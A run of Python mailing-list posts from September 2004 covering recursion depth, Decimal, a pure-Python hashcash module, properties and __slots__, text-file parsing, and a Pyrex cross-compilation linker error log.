surprising outcome, for others it makes life much easier. -- Regards, Diez B. Roggisch From adalke at mindspring.com Sun Sep 26 13:45:38 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Sun, 26 Sep 2004 17:45:38 GMT Subject: getrecursiondepth In-Reply-To: References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Message-ID: <6fD5d.10550$gG4.6048@newsread1.news.pas.earthlink.net> Manlio Perillo wrote: > 1) To write code that execute once in a function (as C static > variables) > 2) To guard against too many recursion Here's a way to get 1). (And I don't know how checking the stack depth can be used to emulate C's static variable.) def spam(x): if spam.first_time: spam.first_time = 0 spam.data = read_data_file("blah.dat") return spam.data.compute(x) spam.first_time = 1 Or without the post-definition initialization def spam(x): if not hasattr(self, "data"): spam.data = read_data_file("blah.dat") return spam.data.compute(x) "2) To guard against too many recursion"? You could catch the RuntimeError. Though there are several things that can raise that error. >>> for x in d.iterkeys(): ... if x == "t": del d["p"] ... Traceback (most recent call last): File "", line 1, in ? RuntimeError: dictionary changed size during iteration >>> You could check the exception's data to see if it contains the string 'maximum recursion depth exceeded' except that exception messages isn't guaranteed to be the same on different versions of Python. Looking at the code I should be able to get "maximum recursion depth exceeded in cmp" but I can't seem to force that string. Regexps can cause a recursion limit problem. Turns out its error message is "maximum recursion limit exceeded" so a slightly different message. Should there be a specific exception type for when the stack limit is exceeded? In any case, what you're saying is that you want to take over control of how to limit Python's stack use. This means you'll have your own stack check and your own way to set the limit. That makes it harder for anyone to use your code because they have to understand that as well. It also means you can't call someone else's code because you don't know how that might affect the stack. If you don't call someone else's code then you can always track your stack use yourself by passing a stack depth value into your recursion def my_function(x, y, z, max_depth = 20): if max_depth == 0: raise RuntimeError( ....) ... my_function(x-1,y+3,z/2, max_depth-1) ... That is a more common way to solve your problem. >> Unlike getrecursionlimit it is something that can be >>calculated pretty easily. >> > > I think getrecursiondepth is easy to calculate! True, and I feel somewhat silly in retrospect for having said that. For some reason I was thinking of a non-recusive way to get that information. > Wait! > I have said that the real getrecursiondepth 'redefines' the origin, so > that outside any function it always returns 0. Ahh, I see your point. But then you don't know how much stack space you have available. What if the shell was 900 deep so only 100 was available to what it executes. Your software will assume the stack depth is small (because it ignores the shell's depth), see the normal stack size of 1000, so wrongly assume it has that much available. BTW, I can fool your code def fool_recusion_base(n=950): if n == 0: import pystate return fool_recursion_base(n-1) fool_recursion_base() import pystate print pystate.getrecursiondepth() This will probably print a number near -950. To summarize, I don't see how your solution helps you with #1 and think there are better ways to handle #2. Could you post code to show how you would use your new function? Andrew dalke at dalkescientific.com From jepler at unpythonic.net Wed Sep 1 16:03:58 2004 From: jepler at unpythonic.net (Jeff Epler) Date: Wed, 1 Sep 2004 15:03:58 -0500 Subject: I think a problem occured when i used long() In-Reply-To: <8f17f4bc.0409011101.5ace996@posting.google.com> References: <8f17f4bc.0409011101.5ace996@posting.google.com> Message-ID: <20040901200357.GD24397@unpythonic.net> "long" only represents integers, not numbers with a fractional part. long(f) when f is a float discards the fraction. >>> long(-.999) 0L >>> long(.999) 0L The Decimal module, which will be in 2.4, can exactly represent numbers with decimal fractions. >>> decimal.Decimal("5.07e-25") Decimal("5.07E-25") >>> 5.07e-25 + 1 - 1 0.0 >>> decimal.Decimal("5.07e-25") + 1 - 1 Decimal("5.07E-25") Jeff -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 196 bytes Desc: not available URL: From groups.google at gnosis.cx Wed Sep 22 22:57:03 2004 From: groups.google at gnosis.cx (David Mertz, Ph.D.) Date: 22 Sep 2004 19:57:03 -0700 Subject: Pure Python hashcash implementation Message-ID: <8cf9f521.0409221857.60ea78a6@posting.google.com> I decided to write a pure Python hashcash implementation. I have seen David McNab's Python implementation. Unfortunately, as near as I can tell (which is supported on the hashcash mailing list archive), McNab actually implements a different algorithm than hashcash. It might (or might not) be equivalent in security; but I cannot see any directly way to transform what he computes into an actual hashcash stamp. Barnes Connelly also posted a sort-of hashcash implementation on c.l.py. But his only creates a padding suffix, not the actual hashcash field; moreover, Connelly's version seems to look for trailing zeros in the hash, not leading zeros. I created a Pure Python module today that seems to conform with the hashcash v.1 standard. But I probably missed something. It's just barely tested--call this an alpha version. Still, I figured I'd send it out here.... if anyone sees something I've done wrong, please let me know so I can correct it before distributing the module more widely. Btw. If anyone wants to, please feel encouraged to post this to the Cookbook. ----------------------------------------------------------- """Implement Hashcash version 1 protocol in Python Double spend database not implemented in this module, but stub for callbacks is provided in the 'check()' function The function 'check()' will validate hashcash v.1 tokens, as well as 'generalized hashcash' tokens generically. Future protocol version are treated as generalized tokens (should a future version be published w/o this module being correspondingly updated). A 'generalized hashcash' is implemented in the '_mint()' function, with the public function 'mint()' providing a wrapper for actual hashcash protocol. The generalized form simply finds a suffix that creates zero bits in the hash of the string concatenating 'challenge' and 'suffix' without specifying any particular fields or delimiters in 'challenge'. E.g., you might get: >>> from hashcash import mint, _mint >>> mint('foo', bits=16) '1:16:040922:foo::+ArSrtKd:164b3' >>> _mint('foo', bits=16) '9591' >>> from sha import sha >>> sha('foo9591').hexdigest() '0000de4c9b27cec9b20e2094785c1c58eaf23948' >>> sha('1:16:040922:foo::+ArSrtKd:164b3').hexdigest() '0000a9fe0c6db2efcbcab15157735e77c0877f34' Notice that '_mint()' behaves deterministically, finding the same suffix every time it is passed the same arguments. 'mint()' incorporates a random salt in stamps (as per the hashcash v.1 protocol). """ import sys from string import ascii_letters from math import ceil, floor from sha import sha from random import choice from time import strftime, localtime, time ERR = sys.stderr # Destination for error messages DAYS = 60 * 60 * 24 # Seconds in a day def mint(resource, bits=20, now=None, ext='', saltchars=8, stamp_seconds=False): """Mint a new hashcash stamp for 'resource' with 'bits' of collision 20 bits of collision is the default. 'ext' lets you add your own extensions to a minted stamp. Specify an extension as a string of form 'name1=2,3;name2;name3=var1=2,2,val' FWIW, urllib.urlencode(dct).replace('&',';') comes close to the hashcash extension format. 'saltchars' specifies the length of the salt used; this version defaults 8 chars, rather than the C version's 16 chars. This still provides about 17 million salts per resource, per timestamp, before birthday paradox collisions occur. Really paranoid users can use a larger salt though. 'stamp_seconds' lets you add the option time elements to the datestamp. If you want more than just day, you get all the way down to seconds, even though the spec also allows hours/minutes without seconds. """ ver = "1" now = now or time() if stamp_seconds: ts = strftime("%y%m%d%H%M%S", localtime(now)) else: ts = strftime("%y%m%d", localtime(now)) challenge = "%s:"*6 % (ver, bits, ts, resource, ext, _salt(saltchars)) return challenge + _mint(challenge, bits) def _salt(l): "Return a random string of length 'l'" alphabet = ascii_letters + "+/=" return ''.join([choice(alphabet) for _ in [None]*l]) def _mint(challenge, bits): """Answer a 'generalized hashcash' challenge' Hashcash requires stamps of form 'ver:bits:date:res:ext:rand:counter' This internal function accepts a generalized prefix 'challenge', and returns only a suffix that produces the requested SHA leading zeros. NOTE: Number of requested bits is rounded up to the nearest multiple of 4 """ prefix_hash = sha(challenge) counter = 0 hex_digits = int(ceil(bits/4.)) while 1: candidate = prefix_hash.copy() candidate.update(hex(counter)[2:]) digest = candidate.hexdigest() if digest.startswith('0'*hex_digits): return hex(counter)[2:] counter += 1 def check(stamp, resource=None, bits=None, check_expiration=None, ds_callback=None): """Check whether a stamp is valid Optionally, the stamp may be checked for a specific resource, and/or it may require a minimum bit value, and/or it may be checked for expiration, and/or it may be checked for double spending. If 'check_expiration' is specified, it should contain the number of seconds old a date field may be. Indicating days might be easier in many cases, e.g. >>> from hashcash import DAYS >>> check(stamp, check_expiration=28*DAYS) NOTE: Every valid (version 1) stamp must meet its claimed bit value NOTE: Check floor of 4-bit multiples (overly permissive in acceptance) """ if stamp.startswith('0:'): # Version 0 try: date, res, suffix = stamp[2:].split(':') except ValueError: ERR.write("Malformed version 0 hashcash stamp!\n") return False if resource is not None and resource != res: return False elif check_expiration is not None: good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration)) if date < good_until: return False elif callable(ds_callback) and ds_callback(stamp): return False elif type(bits) is not int: return True else: hex_digits = int(floor(bits/4)) return sha(stamp).hexdigest().startswith('0'*hex_digits) elif stamp.startswith('1:'): # Version 1 try: claim, date, res, ext, rand, counter = stamp[2:].split(':') except ValueError: ERR.write("Malformed version 1 hashcash stamp!\n") return False if resource is not None and resource != res: return False elif type(bits) is int and bits > int(claim): return False elif check_expiration is not None: good_until = strftime("%y%m%d%H%M%S", localtime(time()-check_expiration)) if date < good_until: return False elif callable(ds_callback) and ds_callback(stamp): return False else: hex_digits = int(floor(int(claim)/4)) return sha(stamp).hexdigest().startswith('0'*hex_digits) else: # Unknown ver or generalized hashcash ERR.write("Unknown hashcash version: Minimal authentication!\n") if type(bits) is not int: return True elif resource is not None and stamp.find(resource) < 0: return False else: hex_digits = int(floor(bits/4)) return sha(stamp).hexdigest().startswith('0'*hex_digits) def is_doublespent(stamp): """Placeholder for double spending callback function The check() function may accept a 'ds_callback' argument, e.g. check(stamp, "mertz at gnosis.cx", bits=20, ds_callback=is_doublespent) This placeholder simply reports stamps as not being double spent. """ return False From guess at My.email.address.scum.com Tue Sep 7 17:17:14 2004 From: guess at My.email.address.scum.com (Anon) Date: Tue, 7 Sep 2004 22:17:14 +0100 Subject: Python Interpreter question. References: <1gjrd1h.4w2qi610yei4wN%aleaxit@yahoo.com> Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 [edit:snip] OK, thanks peoplethe clarification helps me :) I had often wondered if other language devlopers would go the same as what the.NET JIT style and Java had gone, with the VM side of things I mean. Anyways -what-ever- it's all facinating to me, it's like a whole new world with it's own set of social orders-languages and politics hehe :) I am really enjoying myself :) Thanks: Anon -----BEGIN PGP SIGNATURE----- Version: PGP 8.0 iQA/AwUBQT4lVy/z2sM4qf2WEQJh8gCg23lWdkAQKM7bnjA8v1fF49IGJFUAn2PY tAklqLVa0Uywa1e1io9+4AB3 =SMSY -----END PGP SIGNATURE----- From csgcsg39 at hotmail.com Tue Sep 28 07:04:55 2004 From: csgcsg39 at hotmail.com (C Gillespie) Date: Tue, 28 Sep 2004 12:04:55 +0100 Subject: breaking up a list Message-ID: Dear All, If I have a list, say x=[1,2,3,4,5,6] What's the best way of converting it into this: [[1, 2], [3, 4], [5, 6]], i.e. splitting it into pairs. Many thanks Colin From Symantec_AntiVirus_for_SMTP_Gateways at SYNTELINC.COM Thu Sep 16 09:29:42 2004 From: Symantec_AntiVirus_for_SMTP_Gateways at SYNTELINC.COM (Symantec_AntiVirus_for_SMTP_Gateways at SYNTELINC.COM) Date: Thu, 16 Sep 2004 09:29:42 -0400 Subject: Content violation Message-ID: <20040916132916.C0C451E4002@bag.python.org> Content violation found in email message. From: python-list at python.org To: arun_sundaram at syntelinc.com File(s): message.scr Matching filename: *.scr From kepes.krisztian at peto.hu Wed Sep 8 04:02:06 2004 From: kepes.krisztian at peto.hu (kepes.krisztian) Date: Wed, 08 Sep 2004 10:02:06 +0200 Subject: Property confusion Message-ID: <413EBC7E.9070105@peto.hu> Hi ! I don't understand something: See that code: class A(object): __slots__=('x','a','__v') def __init__(self): self.__v=0 def g(self): print "g" return self.__v def s(self,v): self.__v=v print "s" GS=property(g,s) a=A() print a.g() a.s(1) print a.g() #print a.GS a.GS=2 print a.GS print a.g() It is working. But when we remove slots, it is missing: the a.GS is not used as property, it is access a local member. Why ? class A(object): def __init__(self): self.__v=0 def g(self): print "g" return self.__v def s(self,v): self.__v=v print "s" GS=property(g,s) a=A() print a.g() a.s(1) print a.g() #print a.GS a.GS=2 print a.GS print a.g() Thanx for a help: FT From jerf at jerf.org Thu Sep 2 22:49:34 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Fri, 03 Sep 2004 02:49:34 GMT Subject: compiling to python byte codes References: <4136b2b5$1@news.unimelb.edu.au> <4136bbf3$0$197$9b622d9e@news.freenet.de> <6f402501.0409020321.44fd443@posting.google.com> <41375f6a$0$13076$9b622d9e@news.freenet.de> <4137a850$1@news.unimelb.edu.au> <4137bf73$1@news.unimelb.edu.au> Message-ID: On Fri, 03 Sep 2004 00:48:55 +0000, Maurice LING wrote: > I am using SBML (system biology markup language) as a front-end > modelling language for my project. And for ease of further maintenance > of the model and interoperability purposes, my project requires me to > convert it into an intermediate form (MA), which is somewhat assembly is > structure, as in, each instruction takes the form of > *. Here I am, attempting to write a virtual machine that can > run MA, using python. So, it becomes a MA virtual machine running on > python virtual machine. Hmmm, could you post an example of this assembly-like code? It might be easiest to implement a Python interpreter directly; if the assembly-like code is simple enough it isn't even worth a true parser. Without knowing about your code, I can't be sure, but I would be surprised if MA is similar enough to Python to make it worth running MA on the Python machine directly. Assembly language is right up there with LISP (without macros) in terms of ease of parsing, if no opcode ever crosses multiple lines. From brandon at ten22.rhodesmill.org Thu Sep 9 16:17:27 2004 From: brandon at ten22.rhodesmill.org (Brandon Craig Rhodes) Date: Thu, 09 Sep 2004 16:17:27 -0400 Subject: my own type in C, sequence protocol References: Message-ID: <87brgfb3jc.fsf@ten22.rhodesmill.org> Donn Cave writes: > In article , > You might want your type's init function to accept a > sequence, to copy for an initial value, as in > > m = myType([1, 2, 3]) Note, however, that this requires Python to create a list with the values 1, 2, and 3 in it; then pass that value to your init function; and finally discard the list when the initializer has completed. Perhaps more efficient (maybe you could test both to compare the expense?) would be for your initialization function to accept the new sequence members as arguments themselves: m = myType(1, 2, 3) This way a list does not have to be created and destroyed, with all the associated computation, each time you initialize a myType. -- Brandon Craig Rhodes brandon at rhodesmill.org http://rhodesmill.org/brandon From carribeiro at gmail.com Mon Sep 13 11:30:20 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 13 Sep 2004 12:30:20 -0300 Subject: Not able to read blank lines and spaces on a small text file In-Reply-To: <2e569af.0409130648.a6aa116@posting.google.com> References: <2e569af.0409130648.a6aa116@posting.google.com> Message-ID: <864d370904091308306e207a35@mail.gmail.com> Ruben I hope you don't mind what I'm going to say. Your current solution is a bit confusing, and there are better idioms in Python to solve your problem. It seems that you either tried to port a program written in other language such as C, or written this one with a C-like mind. There are several reasons why we here like Python, but writing C-like code is not one of them. Said that, I have to warn you that I'm not a Python expert (there are a few terrific ones around here) and that my opinion here is given as an non-authoritative advice. Be warned :-) To loop over the lines in a text file, use the following snippet: input_file = open("C:\\work\\readlines.txt", "r") for line in input_file.readlines(): print "[",line,"]" There is no need to do a loop like you did. The loop above will check all conditions - EOF< empty files, and so on. Now, in order to process your lines, you need to write something like a state machine. It's easier done than said. You just have to read line by line, checking what you have read, and building the complete record as you go. Try this -- it's heavily commented, but it's very short: input_file = open("C:\\work\\readlines.txt", "r") import string for line in input_file.readlines(): # line may still have the /n line ending marker -- trim it # it will also remove any extraneous blank space. it's # not actually mandatory, but helps a little bit if you # need to print the line and analyze it. line = line.strip() # we'll use the split function here because it's simpler # you can also use regular expressions here, but it's # slightly more difficult to read first time. Let's keep # it simple. maxsplit is a keyword parameter that tells # split to stop after doing finding the first splitting # position. try: field_name, field_value = string.split(line, maxsplit=1) except: # if it can't properly split the line in two, it's # either an invalid record or a blank line. Just # skip it and continue continue if field_name == "OrgID:": record_id = field_value if field_name == "OrgName:": record_value = field_value # assuming that this is the last value read, # print the whole record print record_id, "-", record_value input_file.close() The result is: Joe S. Smith - Smith Foundation Ronald K.Jones - Jones Foundation Please note that I purposefully avoided defining new classes here or using other common Python constructs. The solution could be much more elegantly written than this, but I still hope to have helped you. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From frostbite.adam at gmail.com Sat Sep 25 08:14:34 2004 From: frostbite.adam at gmail.com (Adam McCarthy) Date: Sat, 25 Sep 2004 13:14:34 +0100 Subject: Pyrex Compile - Missing Symbols in Python In-Reply-To: <39dc49320409241236755a5f64@mail.gmail.com> References: <39dc49320409241236755a5f64@mail.gmail.com> Message-ID: <39dc493204092505144f996b88@mail.gmail.com> I'm trying to get a cross compiler working for arm-wince-pe. This is the output for the primes Pyrex example. If I compile simple Hello, World's etc, it works fine, but for some reason Python libraries/headers seem to produce this. I have libpython2.3.a in /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/ and /usr/lib/python2.3/config. I've checked it using arm-wince-pe-objdump. I also extracted it with arm-wince-pe-ar and it contains the symbols. Below the following output, I've also pasted a debug output from the linker. Any ideas? $ python setup.py build_ext --inplace -c cygwin running build_ext building 'Primes' extension creating build creating build/temp.cygwin-1.5.11-i686-2.3 arm-wince-pe-gcc -O -Wall -I/usr/include/python2.3 -c primes.c -o build/temp.cyg win-1.5.11-i686-2.3/primes.o primes.c: In function `__pyx_f_6primes_primes': primes.c:137: warning: label `__pyx_L4' defined but not used primes.c:108: warning: label `__pyx_L6' defined but not used primes.c:98: warning: label `__pyx_L5' defined but not used primes.c:89: warning: label `__pyx_L3' defined but not used primes.c: At top level: primes.c:12: warning: `__Pyx_UnpackItem' declared `static' but never defined primes.c:13: warning: `__Pyx_EndUnpack' declared `static' but never defined primes.c:14: warning: `__Pyx_PrintItem' declared `static' but never defined primes.c:15: warning: `__Pyx_PrintNewline' declared `static' but never defined primes.c:16: warning: `__Pyx_Raise' declared `static' but never defined primes.c:17: warning: `__Pyx_ReRaise' declared `static' but never defined primes.c:18: warning: `__Pyx_Import' declared `static' but never defined primes.c:19: warning: `__Pyx_GetExcValue' declared `static' but never defined primes.c:20: warning: `__Pyx_ArgTypeTest' declared `static' but never defined primes.c:21: warning: `__Pyx_TypeTest' declared `static' but never defined primes.c:22: warning: `__Pyx_GetStarArgs' declared `static' but never defined primes.c:23: warning: `__Pyx_WriteUnraisable' declared `static' but never define d primes.c:25: warning: `__Pyx_ImportType' declared `static' but never defined primes.c:26: warning: `__Pyx_SetVtable' declared `static' but never defined primes.c:27: warning: `__Pyx_GetVtable' declared `static' but never defined primes.c:28: warning: `__Pyx_CreateClass' declared `static' but never defined primes.c:30: warning: `__Pyx_InitStrings' declared `static' but never defined primes.c:31: warning: `__Pyx_GetName' declared `static' but never defined writing build/temp.cygwin-1.5.11-i686-2.3/Primes.def arm-wince-pe-gcc -mdll -static -s build/temp.cygwin-1.5.11-i686-2.3/primes.o bui ld/temp.cygwin-1.5.11-i686-2.3/Primes.def -L/usr/lib/python2.3/config -lpython2. 3 -o Primes.dll Cannot export initPrimes (initPrimes): symbol not found build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x30):primes.c: undefined refer ence to `PyArg_ParseTupleAndKeywords' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x54):primes.c: undefined refer ence to `PyList_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x130):primes.c: undefined refe rence to `PyObject_GetAttr' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x144):primes.c: undefined refe rence to `PyInt_FromLong' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x158):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x174):primes.c: undefined refe rence to `PyObject_CallObject' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x2d0):primes.c: undefined refe rence to `_Py_NoneStruct' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x308):primes.c: undefined refe rence to `Py_InitModule4' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x320):primes.c: undefined refe rence to `PyImport_AddModule' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x348):primes.c: undefined refe rence to `PyObject_SetAttrString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x3d4):primes.c: undefined refe rence to `PyString_InternFromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x430):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x444):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x45c):primes.c: undefined refe rence to `PyModule_GetDict' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x470):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x484):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4d0):primes.c: undefined refe rence to `PyCode_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4e0):primes.c: undefined refe rence to `PyThreadState_Get' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4f0):primes.c: undefined refe rence to `PyFrame_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x508):primes.c: undefined refe rence to `PyTraceBack_Here' /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o(.t ext+0x6c): undefined reference to `WinMain' collect2: ld returned 1 exit status error: command 'arm-wince-pe-gcc' failed with exit status 1 ================================================================================ $ arm-wince-pe-gcc -mdll -static -s build/temp.cygwin-1.5.11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes.def -L/usr/lib/python2.3/config -lpythe on2.3 -o Primes.dll -v -Wl,-debug Reading specs from /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/specsundefined refe Configured with: ./configure --enable-languages=c,c++ --target=arm-wince-pe : (r econfigured) ./configure --target=arm-wince-pe --host=arm-wince-pe --enable-lang uages=c,c++ --enable-multilib=no : (reconfigured) ./configure --target=arm-wince -pe --host=arm-wince-pe --enable-languages=c,c++ --enable-multilib=no : (reconfi gured) ./configure --target=arm-pe --enable-languages=c,c++ --enable-multilib=no --with-newlib : (reconfigured) ./configure --target=arm-pe --enable-languages=c ,c++ --enable-multilib=no --with-newlib : (reconfigured) ./configure --target=ar m-pe --enable-languages=c,c++ --enable-multilib=no --with-newlib : (reconfigured ) ./configure --target=arm-wince-pe --enable-languages=c,c++ --enable-multilib=n o --with-newlib : (reconfigured) ./configure --target=arm-wince-pe --enable-lang uages=c,c++ --enable-multilib=no --with-newlib Thread model: single2.1 gcc version 3.3.3rned 1 exit status /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/collect2.exe -X -o Primes.dll -s /usr /local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o -L/usr /lib/python2.3/config -L/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3 -L/usr/local/l ib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib build/temp.cygwin-1.5 .11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes.def -lpython2.3 - debug -lcdll -lcdllimp -lcoredll Convert string '/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-li b/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/:/usr/lib/gcc/arm-winc e-pe/3.3.3/:/usr/lib/gcc/arm-wince-pe/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3 /../../../../arm-wince-pe/bin/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-win ce-pe/3.3.3/../../../../arm-wince-pe/bin/' into prefixes, separator = ':' - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/ - add prefix: /usr/lib/gcc/arm-wince-pe/3.3.3/ - add prefix: /usr/lib/gcc/arm-wince-pe/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince- pe/bin/arm-wince-pe/3.3.3/ - add prefix: /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince- pe/bin/ Convert string '/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/cygdrive/c/WINDOWS/ system32:/cygdrive/c/WINDOWS:/cygdrive/c/WINDOWS/System32/Wbem:/cygdrive/c/Progr am Files/ATI Technologies/ATI Control Panel' into prefixes, separator = ':' - add prefix: /usr/local/bin/ - add prefix: /usr/bin/ - add prefix: /bin/ - add prefix: /usr/X11R6/bin/ - add prefix: /cygdrive/c/WINDOWS/system32/ - add prefix: /cygdrive/c/WINDOWS/ - add prefix: /cygdrive/c/WINDOWS/System32/Wbem/ - add prefix: /cygdrive/c/Program Files/ATI Technologies/ATI Control Panel/ Looking for 'real-ld' Looking for 'collect-ld' Looking for 'ld' Looking for 'gnm' Looking for 'arm-wince-pe-gnm' Looking for 'nm' Looking for 'gstrip' Looking for 'arm-wince-pe-gstrip' Looking for 'strip' Looking for 'arm-wince-pe-gcc' Looking for 'arm-wince-pe-gcc' collect2 version 3.3.3 (ARM/pe) ld_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/ld c_file_name = /usr/local/bin/arm-wince-pe-gcc nm_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/nm strip_file_name = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm- wince-pe/bin/strip c_file = /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccAiL4ml.c o_file = /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/cc0qmZzw.o COLLECT_GCC_OPTIONS = '-mdll' '-static' '-s' '-L/usr/lib/python2.3/config' '-o' 'Primes.dll' '-v' COLLECT_GCC = arm-wince-pe-gcc COMPILER_PATH = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/ gcc-lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/:/usr/lib/gcc/ar m-wince-pe/3.3.3/:/usr/lib/gcc/arm-wince-pe/:/usr/local/lib/gcc-lib/arm-wince-pe /3.3.3/../../../../arm-wince-pe/bin/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/a rm-wince-pe/3.3.3/../../../../arm-wince-pe/bin/ LIBRARY_PATH = /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/:/usr/lib/gcc/ar m-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-winc e-pe/lib/arm-wince-pe/3.3.3/:/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../ ../arm-wince-pe/lib/ /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/bin/ld -X -o Primes.dll -s /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe /lib/crt0.o -L/usr/lib/python2.3/config -L/usr/local/lib/gcc-lib/arm-wince-pe/3. 3.3 -L/usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib bui ld/temp.cygwin-1.5.11-i686-2.3/primes.o build/temp.cygwin-1.5.11-i686-2.3/Primes .def -lpython2.3 -lcdll -lcdllimp -lcoredll Cannot export initPrimes (initPrimes): symbol not found build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x30):primes.c: undefined refer ence to `PyArg_ParseTupleAndKeywords' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x54):primes.c: undefined refer ence to `PyList_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x130):primes.c: undefined refe rence to `PyObject_GetAttr' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x144):primes.c: undefined refe rence to `PyInt_FromLong' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x158):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x174):primes.c: undefined refe rence to `PyObject_CallObject' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x2d0):primes.c: undefined refe rence to `_Py_NoneStruct' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x308):primes.c: undefined refe rence to `Py_InitModule4' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x320):primes.c: undefined refe rence to `PyImport_AddModule' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x348):primes.c: undefined refe rence to `PyObject_SetAttrString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x3d4):primes.c: undefined refe rence to `PyString_InternFromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x430):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x444):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x45c):primes.c: undefined refe rence to `PyModule_GetDict' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x470):primes.c: undefined refe rence to `PyTuple_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x484):primes.c: undefined refe rence to `PyString_FromString' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4d0):primes.c: undefined refe rence to `PyCode_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4e0):primes.c: undefined refe rence to `PyThreadState_Get' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x4f0):primes.c: undefined refe rence to `PyFrame_New' build/temp.cygwin-1.5.11-i686-2.3/primes.o(.text+0x508):primes.c: undefined refe rence to `PyTraceBack_Here' /usr/local/lib/gcc-lib/arm-wince-pe/3.3.3/../../../../arm-wince-pe/lib/crt0.o(.t ext+0x6c): undefined reference to `WinMain' collect2: ld returned 1 exit status [Leaving /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/ccAiL4ml.c] [Leaving /cygdrive/c/DOCUME~1/adam/LOCALS~1/Temp/cc0qmZzw.o] [Leaving 